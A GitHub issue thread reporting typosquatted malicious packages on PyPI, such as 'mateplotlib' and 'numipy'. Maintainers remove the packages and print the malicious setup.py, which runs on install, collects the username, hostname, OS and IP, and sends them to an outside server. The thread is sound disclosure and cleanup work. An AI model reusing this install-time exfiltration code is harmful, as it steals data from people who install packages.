Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malware packages on PyPI #3948

Closed
zt2 opened this issue May 11, 2018 · 4 comments
Closed

Malware packages on PyPI #3948

zt2 opened this issue May 11, 2018 · 4 comments

Comments

@zt2
Copy link

zt2 commented May 11, 2018

Those projects will steal user information when some one use pip to install them:

pyymal
pysprak
libhtml5
libcurl
python-mysql
mateplotlib
numipy
openvc
@zt2 zt2 changed the title report malware package on PyPI Malware packages on PyPI May 11, 2018
@ewdurbin
Copy link
Member

thanks for report @zt2, please consider submitting via our published security policy in the future...

reviewing now.

@ewdurbin
Copy link
Member

The following packages were removed under our typosquatting policy and the user was destroyed.

libcurl
libhtml5
mateplotlib
nmap-python
numipy
openvc
pysprak
python-mongo
python-mysql
python-openssl
PyYMAL

@ewdurbin
Copy link
Member

The malicious setup.py contents for all packages that were removed:

def checkVersion():
    user_name = getpass.getuser()
    hostname = socket.gethostname()
    os_version = platform.platform()
    if platform.system() is 'Windows':
        import ctypes
        import locale
        dll_handle = ctypes.windll.kernel32
        loc_lang = locale.getdefaultlocale()
        language = ':'.join(loc_lang)
    elif platform.system() is 'Linux':
        loc_lang = os.popen("echo $LANG")
        language = loc_lang.rea
    ip = [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
    package='pysprak'
    vid = user_name+"###"+hostname+"###"+os_version+"###"+ip+"###"+package
    if sys.version_info>(3,0):
        request.urlopen(r'http://numipy.openvc.org/spark.php',data='vid='.encode('utf-8')+base64.b64encode(vid.encode('utf-8')))
    elif sys.version_info<(3,0):
        urllib.urlopen(r'http://numipy.openvc.org/spark.php','vid='+base64.encodestring(vid))
checkVersion()

@pradyunsg
Copy link
Contributor

pradyunsg commented May 11, 2018

@ewdurbin Maybe an issue template named "security/malware report", whose contents tell the user to submit according to policy instead, would be helpful?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants